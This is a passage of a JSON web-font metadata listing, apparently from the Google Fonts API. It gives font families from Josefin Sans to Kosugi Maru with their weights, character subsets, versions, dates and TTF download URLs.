Sans","variants":["100","200","300","regular","500","600","700","100italic","200italic","300italic","italic","500italic","600italic","700italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v16","lastModified":"2020-06-26","files":{"100":"http://fonts.gstatic.com/s/josefinsans/v16/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_DjRXMFrLgTsQV0.ttf","200":"http://fonts.gstatic.com/s/josefinsans/v16/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_LjQXMFrLgTsQV0.ttf","300":"http://fonts.gstatic.com/s/josefinsans/v16/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_GbQXMFrLgTsQV0.ttf","regular":"http://fonts.gstatic.com/s/josefinsans/v16/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_DjQXMFrLgTsQV0.ttf","500":"http://fonts.gstatic.com/s/josefinsans/v16/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_ArQXMFrLgTsQV0.ttf","600":"http://fonts.gstatic.com/s/josefinsans/v16/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_ObXXMFrLgTsQV0.ttf","700":"http://fonts.gstatic.com/s/josefinsans/v16/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_N_XXMFrLgTsQV0.ttf","100italic":"http://fonts.gstatic.com/s/josefinsans/v16/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCTtINhKibpUV3MEQ.ttf","200italic":"http://fonts.gstatic.com/s/josefinsans/v16/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCTNIJhKibpUV3MEQ.ttf","300italic":"http://fonts.gstatic.com/s/josefinsans/v16/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCT6oJhKibpUV3MEQ.ttf","italic":"http://fonts.gstatic.com/s/josefinsans/v16/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCTtIJhKibpUV3MEQ.ttf","500italic":"http://fonts.gstatic.com/s/josefinsans/v16/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCThoJhKibpUV3MEQ.ttf","600italic":"http://fonts.gstatic.com/s/josefinsans/v16/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCTaoVhKibpUV3MEQ.ttf","700italic":"http://fonts.gstatic.com/s/josefinsans/v16/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCTU4VhKibpUV3MEQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Josefin Slab","variants":["100","200","300","regular","500","600","700","100italic","200italic","300italic","italic","500italic","600italic","700italic"],"subsets":["latin"],"version":"v12","lastModified":"2020-11-20","files":{"100":"http://fonts.gstatic.com/s/josefinslab/v12/lW-swjwOK3Ps5GSJlNNkMalNpiZe_ldbOR4W71mtd3k3K6CcEyI.ttf","200":"http://fonts.gstatic.com/s/josefinslab/v12/lW-swjwOK3Ps5GSJlNNkMalNpiZe_ldbOR4W79msd3k3K6CcEyI.ttf","300":"http://fonts.gstatic.com/s/josefinslab/v12/lW-swjwOK3Ps5GSJlNNkMalNpiZe_ldbOR4W7wesd3k3K6CcEyI.ttf","regular":"http://fonts.gstatic.com/s/josefinslab/v12/lW-swjwOK3Ps5GSJlNNkMalNpiZe_ldbOR4W71msd3k3K6CcEyI.ttf","500":"http://fonts.gstatic.com/s/josefinslab/v12/lW-swjwOK3Ps5GSJlNNkMalNpiZe_ldbOR4W72usd3k3K6CcEyI.ttf","600":"http://fonts.gstatic.com/s/josefinslab/v12/lW-swjwOK3Ps5GSJlNNkMalNpiZe_ldbOR4W74erd3k3K6CcEyI.ttf","700":"http://fonts.gstatic.com/s/josefinslab/v12/lW-swjwOK3Ps5GSJlNNkMalNpiZe_ldbOR4W776rd3k3K6CcEyI.ttf","100italic":"http://fonts.gstatic.com/s/josefinslab/v12/lW-qwjwOK3Ps5GSJlNNkMalnrxShJj4wo7AR-pHvnzs9L4KZAyK43w.ttf","200italic":"http://fonts.gstatic.com/s/josefinslab/v12/lW-qwjwOK3Ps5GSJlNNkMalnrxShJj4wo7AR-pHvHzo9L4KZAyK43w.ttf","300italic":"http://fonts.gstatic.com/s/josefinslab/v12/lW-qwjwOK3Ps5GSJlNNkMalnrxShJj4wo7AR-pHvwTo9L4KZAyK43w.ttf","italic":"http://fonts.gstatic.com/s/josefinslab/v12/lW-qwjwOK3Ps5GSJlNNkMalnrxShJj4wo7AR-pHvnzo9L4KZAyK43w.ttf","500italic":"http://fonts.gstatic.com/s/josefinslab/v12/lW-qwjwOK3Ps5GSJlNNkMalnrxShJj4wo7AR-pHvrTo9L4KZAyK43w.ttf","600italic":"http://fonts.gstatic.com/s/josefinslab/v12/lW-qwjwOK3Ps5GSJlNNkMalnrxShJj4wo7AR-pHvQT09L4KZAyK43w.ttf","700italic":"http://fonts.gstatic.com/s/josefinslab/v12/lW-qwjwOK3Ps5GSJlNNkMalnrxShJj4wo7AR-pHveD09L4KZAyK43w.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Jost","variants":["100","200","300","regular","500","600","700","800","900","100italic","200italic","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["cyrillic","latin","latin-ext"],"version":"v4","lastModified":"2020-09-29","files":{"100":"http://fonts.gstatic.com/s/jost/v4/92zPtBhPNqw79Ij1E865zBUv7myjJAVGPokMmuHL.ttf","200":"http://fonts.gstatic.com/s/jost/v4/92zPtBhPNqw79Ij1E865zBUv7mwjJQVGPokMmuHL.ttf","300":"http://fonts.gstatic.com/s/jost/v4/92zPtBhPNqw79Ij1E865zBUv7mz9JQVGPokMmuHL.ttf","regular":"http://fonts.gstatic.com/s/jost/v4/92zPtBhPNqw79Ij1E865zBUv7myjJQVGPokMmuHL.ttf","500":"http://fonts.gstatic.com/s/jost/v4/92zPtBhPNqw79Ij1E865zBUv7myRJQVGPokMmuHL.ttf","600":"http://fonts.gstatic.com/s/jost/v4/92zPtBhPNqw79Ij1E865zBUv7mx9IgVGPokMmuHL.ttf","700":"http://fonts.gstatic.com/s/jost/v4/92zPtBhPNqw79Ij1E865zBUv7mxEIgVGPokMmuHL.ttf","800":"http://fonts.gstatic.com/s/jost/v4/92zPtBhPNqw79Ij1E865zBUv7mwjIgVGPokMmuHL.ttf","900":"http://fonts.gstatic.com/s/jost/v4/92zPtBhPNqw79Ij1E865zBUv7mwKIgVGPokMmuHL.ttf","100italic":"http://fonts.gstatic.com/s/jost/v4/92zJtBhPNqw73oHH7BbQp4-B6XlrZu0ENI0un_HLMEo.ttf","200italic":"http://fonts.gstatic.com/s/jost/v4/92zJtBhPNqw73oHH7BbQp4-B6XlrZm0FNI0un_HLMEo.ttf","300italic":"http://fonts.gstatic.com/s/jost/v4/92zJtBhPNqw73oHH7BbQp4-B6XlrZrMFNI0un_HLMEo.ttf","italic":"http://fonts.gstatic.com/s/jost/v4/92zJtBhPNqw73oHH7BbQp4-B6XlrZu0FNI0un_HLMEo.ttf","500italic":"http://fonts.gstatic.com/s/jost/v4/92zJtBhPNqw73oHH7BbQp4-B6XlrZt8FNI0un_HLMEo.ttf","600italic":"http://fonts.gstatic.com/s/jost/v4/92zJtBhPNqw73oHH7BbQp4-B6XlrZjMCNI0un_HLMEo.ttf","700italic":"http://fonts.gstatic.com/s/jost/v4/92zJtBhPNqw73oHH7BbQp4-B6XlrZgoCNI0un_HLMEo.ttf","800italic":"http://fonts.gstatic.com/s/jost/v4/92zJtBhPNqw73oHH7BbQp4-B6XlrZm0CNI0un_HLMEo.ttf","900italic":"http://fonts.gstatic.com/s/jost/v4/92zJtBhPNqw73oHH7BbQp4-B6XlrZkQCNI0un_HLMEo.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Joti One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/jotione/v9/Z9XVDmdJQAmWm9TwaYTe4u2El6GC.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Jua","variants":["regular"],"subsets":["korean","latin"],"version":"v8","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/jua/v8/co3KmW9ljjAjc-DZCsKgsg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Judson","variants":["regular","italic","700"],"subsets":["latin","latin-ext","vietnamese"],"version":"v13","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/judson/v13/FeVRS0Fbvbc14VxRD7N01bV7kg.ttf","italic":"http://fonts.gstatic.com/s/judson/v13/FeVTS0Fbvbc14VxhDblw97BrknZf.ttf","700":"http://fonts.gstatic.com/s/judson/v13/FeVSS0Fbvbc14Vxps5xQ3Z5nm29Gww.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Julee","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/julee/v10/TuGfUVB3RpZPQ6ZLodgzydtk.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Julius Sans One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/juliussansone/v9/1Pt2g8TAX_SGgBGUi0tGOYEga5W-xXEW6aGXHw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Junge","variants":["regular"],"subsets":["latin"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/junge/v8/gokgH670Gl1lUqAdvhB7SnKm.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Jura","variants":["300","regular","500","600","700"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v15","lastModified":"2020-06-26","files":{"300":"http://fonts.gstatic.com/s/jura/v15/z7NOdRfiaC4Vd8hhoPzfb5vBTP0D7auhTfmrH_rt.ttf","regular":"http://fonts.gstatic.com/s/jura/v15/z7NOdRfiaC4Vd8hhoPzfb5vBTP1d7auhTfmrH_rt.ttf","500":"http://fonts.gstatic.com/s/jura/v15/z7NOdRfiaC4Vd8hhoPzfb5vBTP1v7auhTfmrH_rt.ttf","600":"http://fonts.gstatic.com/s/jura/v15/z7NOdRfiaC4Vd8hhoPzfb5vBTP2D6quhTfmrH_rt.ttf","700":"http://fonts.gstatic.com/s/jura/v15/z7NOdRfiaC4Vd8hhoPzfb5vBTP266quhTfmrH_rt.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Just Another Hand","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/justanotherhand/v12/845CNN4-AJyIGvIou-6yJKyptyOpOcr_BmmlS5aw.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Just Me Again Down Here","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/justmeagaindownhere/v12/MwQmbgXtz-Wc6RUEGNMc0QpRrfUh2hSdBBMoAuwHvqDwc_fg.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"K2D","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v4","lastModified":"2020-07-23","files":{"100":"http://fonts.gstatic.com/s/k2d/v4/J7aRnpF2V0ErE6UpvrIw74NL.ttf","100italic":"http://fonts.gstatic.com/s/k2d/v4/J7afnpF2V0EjdZ1NtLYS6pNLAjk.ttf","200":"http://fonts.gstatic.com/s/k2d/v4/J7aenpF2V0Erv4QJlJw85ppSGw.ttf","200italic":"http://fonts.gstatic.com/s/k2d/v4/J7acnpF2V0EjdZ3hlZY4xJ9CGyAa.ttf","300":"http://fonts.gstatic.com/s/k2d/v4/J7aenpF2V0Er24cJlJw85ppSGw.ttf","300italic":"http://fonts.gstatic.com/s/k2d/v4/J7acnpF2V0EjdZ2FlpY4xJ9CGyAa.ttf","regular":"http://fonts.gstatic.com/s/k2d/v4/J7aTnpF2V0ETd68tnLcg7w.ttf","italic":"http://fonts.gstatic.com/s/k2d/v4/J7aRnpF2V0EjdaUpvrIw74NL.ttf","500":"http://fonts.gstatic.com/s/k2d/v4/J7aenpF2V0Erg4YJlJw85ppSGw.ttf","500italic":"http://fonts.gstatic.com/s/k2d/v4/J7acnpF2V0EjdZ3dl5Y4xJ9CGyAa.ttf","600":"http://fonts.gstatic.com/s/k2d/v4/J7aenpF2V0Err4EJlJw85ppSGw.ttf","600italic":"http://fonts.gstatic.com/s/k2d/v4/J7acnpF2V0EjdZ3xkJY4xJ9CGyAa.ttf","700":"http://fonts.gstatic.com/s/k2d/v4/J7aenpF2V0Ery4AJlJw85ppSGw.ttf","700italic":"http://fonts.gstatic.com/s/k2d/v4/J7acnpF2V0EjdZ2VkZY4xJ9CGyAa.ttf","800":"http://fonts.gstatic.com/s/k2d/v4/J7aenpF2V0Er14MJlJw85ppSGw.ttf","800italic":"http://fonts.gstatic.com/s/k2d/v4/J7acnpF2V0EjdZ2JkpY4xJ9CGyAa.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Kadwa","variants":["regular","700"],"subsets":["devanagari","latin"],"version":"v4","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/kadwa/v4/rnCm-x5V0g7iphTHRcc2s2XH.ttf","700":"http://fonts.gstatic.com/s/kadwa/v4/rnCr-x5V0g7ipix7auM-mHnOSOuk.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Kalam","variants":["300","regular","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v11","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/kalam/v11/YA9Qr0Wd4kDdMtD6GgLLmCUItqGt.ttf","regular":"http://fonts.gstatic.com/s/kalam/v11/YA9dr0Wd4kDdMuhWMibDszkB.ttf","700":"http://fonts.gstatic.com/s/kalam/v11/YA9Qr0Wd4kDdMtDqHQLLmCUItqGt.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Kameron","variants":["regular","700"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/kameron/v11/vm82dR7vXErQxuznsL4wL-XIYH8.ttf","700":"http://fonts.gstatic.com/s/kameron/v11/vm8zdR7vXErQxuzniAIfC-3jfHb--NY.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Kanit","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v7","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/kanit/v7/nKKX-Go6G5tXcr72GwWKcaxALFs.ttf","100italic":"http://fonts.gstatic.com/s/kanit/v7/nKKV-Go6G5tXcraQI2GAdY5FPFtrGw.ttf","200":"http://fonts.gstatic.com/s/kanit/v7/nKKU-Go6G5tXcr5aOiWgX6BJNUJy.ttf","200italic":"http://fonts.gstatic.com/s/kanit/v7/nKKS-Go6G5tXcraQI82hVaRrMFJyAu4.ttf","300":"http://fonts.gstatic.com/s/kanit/v7/nKKU-Go6G5tXcr4-OSWgX6BJNUJy.ttf","300italic":"http://fonts.gstatic.com/s/kanit/v7/nKKS-Go6G5tXcraQI6miVaRrMFJyAu4.ttf","regular":"http://fonts.gstatic.com/s/kanit/v7/nKKZ-Go6G5tXcoaSEQGodLxA.ttf","italic":"http://fonts.gstatic.com/s/kanit/v7/nKKX-Go6G5tXcraQGwWKcaxALFs.ttf","500":"http://fonts.gstatic.com/s/kanit/v7/nKKU-Go6G5tXcr5mOCWgX6BJNUJy.ttf","500italic":"http://fonts.gstatic.com/s/kanit/v7/nKKS-Go6G5tXcraQI_GjVaRrMFJyAu4.ttf","600":"http://fonts.gstatic.com/s/kanit/v7/nKKU-Go6G5tXcr5KPyWgX6BJNUJy.ttf","600italic":"http://fonts.gstatic.com/s/kanit/v7/nKKS-Go6G5tXcraQI92kVaRrMFJyAu4.ttf","700":"http://fonts.gstatic.com/s/kanit/v7/nKKU-Go6G5tXcr4uPiWgX6BJNUJy.ttf","700italic":"http://fonts.gstatic.com/s/kanit/v7/nKKS-Go6G5tXcraQI7mlVaRrMFJyAu4.ttf","800":"http://fonts.gstatic.com/s/kanit/v7/nKKU-Go6G5tXcr4yPSWgX6BJNUJy.ttf","800italic":"http://fonts.gstatic.com/s/kanit/v7/nKKS-Go6G5tXcraQI6WmVaRrMFJyAu4.ttf","900":"http://fonts.gstatic.com/s/kanit/v7/nKKU-Go6G5tXcr4WPCWgX6BJNUJy.ttf","900italic":"http://fonts.gstatic.com/s/kanit/v7/nKKS-Go6G5tXcraQI4GnVaRrMFJyAu4.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Kantumruy","variants":["300","regular","700"],"subsets":["khmer"],"version":"v9","lastModified":"2020-10-08","files":{"300":"http://fonts.gstatic.com/s/kantumruy/v9/syk0-yJ0m7wyVb-f4FOPUtDlpn-UJ1H6Uw.ttf","regular":"http://fonts.gstatic.com/s/kantumruy/v9/sykx-yJ0m7wyVb-f4FO3_vjBrlSILg.ttf","700":"http://fonts.gstatic.com/s/kantumruy/v9/syk0-yJ0m7wyVb-f4FOPQtflpn-UJ1H6Uw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Karla","variants":["200","300","regular","500","600","700","800","200italic","300italic","italic","500italic","600italic","700italic","800italic"],"subsets":["latin","latin-ext"],"version":"v14","lastModified":"2020-11-20","files":{"200":"http://fonts.gstatic.com/s/karla/v14/qkBIXvYC6trAT55ZBi1ueQVIjQTDeJqqFENLR7fHGw.ttf","300":"http://fonts.gstatic.com/s/karla/v14/qkBIXvYC6trAT55ZBi1ueQVIjQTDppqqFENLR7fHGw.ttf","regular":"http://fonts.gstatic.com/s/karla/v14/qkBIXvYC6trAT55ZBi1ueQVIjQTD-JqqFENLR7fHGw.ttf","500":"http://fonts.gstatic.com/s/karla/v14/qkBIXvYC6trAT55ZBi1ueQVIjQTDypqqFENLR7fHGw.ttf","600":"http://fonts.gstatic.com/s/karla/v14/qkBIXvYC6trAT55ZBi1ueQVIjQTDJp2qFENLR7fHGw.ttf","700":"http://fonts.gstatic.com/s/karla/v14/qkBIXvYC6trAT55ZBi1ueQVIjQTDH52qFENLR7fHGw.ttf","800":"http://fonts.gstatic.com/s/karla/v14/qkBIXvYC6trAT55ZBi1ueQVIjQTDeJ2qFENLR7fHGw.ttf","200italic":"http://fonts.gstatic.com/s/karla/v14/qkBKXvYC6trAT7RQNNK2EG7SIwPWMNnCV0lPZbLXGxGR.ttf","300italic":"http://fonts.gstatic.com/s/karla/v14/qkBKXvYC6trAT7RQNNK2EG7SIwPWMNkcV0lPZbLXGxGR.ttf","italic":"http://fonts.gstatic.com/s/karla/v14/qkBKXvYC6trAT7RQNNK2EG7SIwPWMNlCV0lPZbLXGxGR.ttf","500italic":"http://fonts.gstatic.com/s/karla/v14/qkBKXvYC6trAT7RQNNK2EG7SIwPWMNlwV0lPZbLXGxGR.ttf","600italic":"http://fonts.gstatic.com/s/karla/v14/qkBKXvYC6trAT7RQNNK2EG7SIwPWMNmcUElPZbLXGxGR.ttf","700italic":"http://fonts.gstatic.com/s/karla/v14/qkBKXvYC6trAT7RQNNK2EG7SIwPWMNmlUElPZbLXGxGR.ttf","800italic":"http://fonts.gstatic.com/s/karla/v14/qkBKXvYC6trAT7RQNNK2EG7SIwPWMNnCUElPZbLXGxGR.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Karma","variants":["300","regular","500","600","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v11","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/karma/v11/va9F4kzAzMZRGLjDY8Z_uqzGQC_-.ttf","regular":"http://fonts.gstatic.com/s/karma/v11/va9I4kzAzMZRGIBvS-J3kbDP.ttf","500":"http://fonts.gstatic.com/s/karma/v11/va9F4kzAzMZRGLibYsZ_uqzGQC_-.ttf","600":"http://fonts.gstatic.com/s/karma/v11/va9F4kzAzMZRGLi3ZcZ_uqzGQC_-.ttf","700":"http://fonts.gstatic.com/s/karma/v11/va9F4kzAzMZRGLjTZMZ_uqzGQC_-.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Katibeh","variants":["regular"],"subsets":["arabic","latin","latin-ext"],"version":"v9","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/katibeh/v9/ZGjXol5MQJog4bxDaC1RVDNdGDs.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Kaushan Script","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/kaushanscript/v9/vm8vdRfvXFLG3OLnsO15WYS5DF7_ytN3M48a.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Kavivanar","variants":["regular"],"subsets":["latin","latin-ext","tamil"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/kavivanar/v6/o-0IIpQgyXYSwhxP7_Jb4j5Ba_2c7A.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Kavoon","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/kavoon/v9/pxiFyp4_scRYhlU4NLr6f1pdEQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Kdam Thmor","variants":["regular"],"subsets":["khmer"],"version":"v9","lastModified":"2020-10-08","files":{"regular":"http://fonts.gstatic.com/s/kdamthmor/v9/MwQzbhjs3veF6QwJVf0JkGMViblPtXs.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Keania One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/keaniaone/v8/zOL54pXJk65E8pXardnuycRuv-hHkOs.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Kelly Slab","variants":["regular"],"subsets":["cyrillic","latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/kellyslab/v11/-W_7XJX0Rz3cxUnJC5t6TkMBf50kbiM.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Kenia","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/kenia/v12/jizURE5PuHQH9qCONUGswfGM.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Khand","variants":["300","regular","500","600","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/khand/v9/TwMN-IINQlQQ0bL5cFE3ZwaH__-C.ttf","regular":"http://fonts.gstatic.com/s/khand/v9/TwMA-IINQlQQ0YpVWHU_TBqO.ttf","500":"http://fonts.gstatic.com/s/khand/v9/TwMN-IINQlQQ0bKhcVE3ZwaH__-C.ttf","600":"http://fonts.gstatic.com/s/khand/v9/TwMN-IINQlQQ0bKNdlE3ZwaH__-C.ttf","700":"http://fonts.gstatic.com/s/khand/v9/TwMN-IINQlQQ0bLpd1E3ZwaH__-C.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Khmer","variants":["regular"],"subsets":["khmer"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/khmer/v13/MjQImit_vPPwpF-BpN2EeYmD.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Khula","variants":["300","regular","600","700","800"],"subsets":["devanagari","latin","latin-ext"],"version":"v7","lastModified":"2020-11-06","files":{"300":"http://fonts.gstatic.com/s/khula/v7/OpNPnoEOns3V7G-ljCvUrC59XwXD.ttf","regular":"http://fonts.gstatic.com/s/khula/v7/OpNCnoEOns3V7FcJpA_chzJ0.ttf","600":"http://fonts.gstatic.com/s/khula/v7/OpNPnoEOns3V7G_RiivUrC59XwXD.ttf","700":"http://fonts.gstatic.com/s/khula/v7/OpNPnoEOns3V7G-1iyvUrC59XwXD.ttf","800":"http://fonts.gstatic.com/s/khula/v7/OpNPnoEOns3V7G-piCvUrC59XwXD.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Kirang Haerang","variants":["regular"],"subsets":["korean","latin"],"version":"v8","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/kiranghaerang/v8/E21-_dn_gvvIjhYON1lpIU4-bcqvWPaJq4no.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Kite One","variants":["regular"],"subsets":["latin"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/kiteone/v8/70lQu7shLnA_E02vyq1b6HnGO4uA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Knewave","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/knewave/v9/sykz-yx0lLcxQaSItSq9-trEvlQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"KoHo","variants":["200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v4","lastModified":"2020-07-23","files":{"200":"http://fonts.gstatic.com/s/koho/v4/K2FxfZ5fmddNPuE1WJ75JoKhHys.ttf","200italic":"http://fonts.gstatic.com/s/koho/v4/K2FzfZ5fmddNNisssJ_zIqCkDyvqZA.ttf","300":"http://fonts.gstatic.com/s/koho/v4/K2FxfZ5fmddNPoU2WJ75JoKhHys.ttf","300italic":"http://fonts.gstatic.com/s/koho/v4/K2FzfZ5fmddNNiss1JzzIqCkDyvqZA.ttf","regular":"http://fonts.gstatic.com/s/koho/v4/K2F-fZ5fmddNBikefJbSOos.ttf","italic":"http://fonts.gstatic.com/s/koho/v4/K2FwfZ5fmddNNisUeLTXKou4Bg.ttf","500":"http://fonts.gstatic.com/s/koho/v4/K2FxfZ5fmddNPt03WJ75JoKhHys.ttf","500italic":"http://fonts.gstatic.com/s/koho/v4/K2FzfZ5fmddNNissjJ3zIqCkDyvqZA.ttf","600":"http://fonts.gstatic.com/s/koho/v4/K2FxfZ5fmddNPvEwWJ75JoKhHys.ttf","600italic":"http://fonts.gstatic.com/s/koho/v4/K2FzfZ5fmddNNissoJrzIqCkDyvqZA.ttf","700":"http://fonts.gstatic.com/s/koho/v4/K2FxfZ5fmddNPpUxWJ75JoKhHys.ttf","700italic":"http://fonts.gstatic.com/s/koho/v4/K2FzfZ5fmddNNissxJvzIqCkDyvqZA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Kodchasan","variants":["200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v4","lastModified":"2020-07-23","files":{"200":"http://fonts.gstatic.com/s/kodchasan/v4/1cX0aUPOAJv9sG4I-DJeR1Cggeqo3eMeoA.ttf","200italic":"http://fonts.gstatic.com/s/kodchasan/v4/1cXqaUPOAJv9sG4I-DJWjUlIgOCs_-YOoIgN.ttf","300":"http://fonts.gstatic.com/s/kodchasan/v4/1cX0aUPOAJv9sG4I-DJeI1Oggeqo3eMeoA.ttf","300italic":"http://fonts.gstatic.com/s/kodchasan/v4/1cXqaUPOAJv9sG4I-DJWjUksg-Cs_-YOoIgN.ttf","regular":"http://fonts.gstatic.com/s/kodchasan/v4/1cXxaUPOAJv9sG4I-DJmj3uEicG01A.ttf","italic":"http://fonts.gstatic.com/s/kodchasan/v4/1cX3aUPOAJv9sG4I-DJWjXGAq8Sk1PoH.ttf","500":"http://fonts.gstatic.com/s/kodchasan/v4/1cX0aUPOAJv9sG4I-DJee1Kggeqo3eMeoA.ttf","500italic":"http://fonts.gstatic.com/s/kodchasan/v4/1cXqaUPOAJv9sG4I-DJWjUl0guCs_-YOoIgN.ttf","600":"http://fonts.gstatic.com/s/kodchasan/v4/1cX0aUPOAJv9sG4I-DJeV1Wggeqo3eMeoA.ttf","600italic":"http://fonts.gstatic.com/s/kodchasan/v4/1cXqaUPOAJv9sG4I-DJWjUlYheCs_-YOoIgN.ttf","700":"http://fonts.gstatic.com/s/kodchasan/v4/1cX0aUPOAJv9sG4I-DJeM1Sggeqo3eMeoA.ttf","700italic":"http://fonts.gstatic.com/s/kodchasan/v4/1cXqaUPOAJv9sG4I-DJWjUk8hOCs_-YOoIgN.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Kosugi","variants":["regular"],"subsets":["cyrillic","japanese","latin"],"version":"v6","lastModified":"2020-03-03","files":{"regular":"http://fonts.gstatic.com/s/kosugi/v6/pxiFyp4_v8FCjlI4NLr6f1pdEQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Kosugi Maru","variants":["regular"],"subsets":["cyrillic","japanese","latin"],"version":"v6","lastModified":"2020-03-03","files":{"regular":"http://fonts.gstatic.com/s/kosugimaru/v6/0nksC9PgP_wGh21A2KeqGiTqivr9iBq_.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Kotta 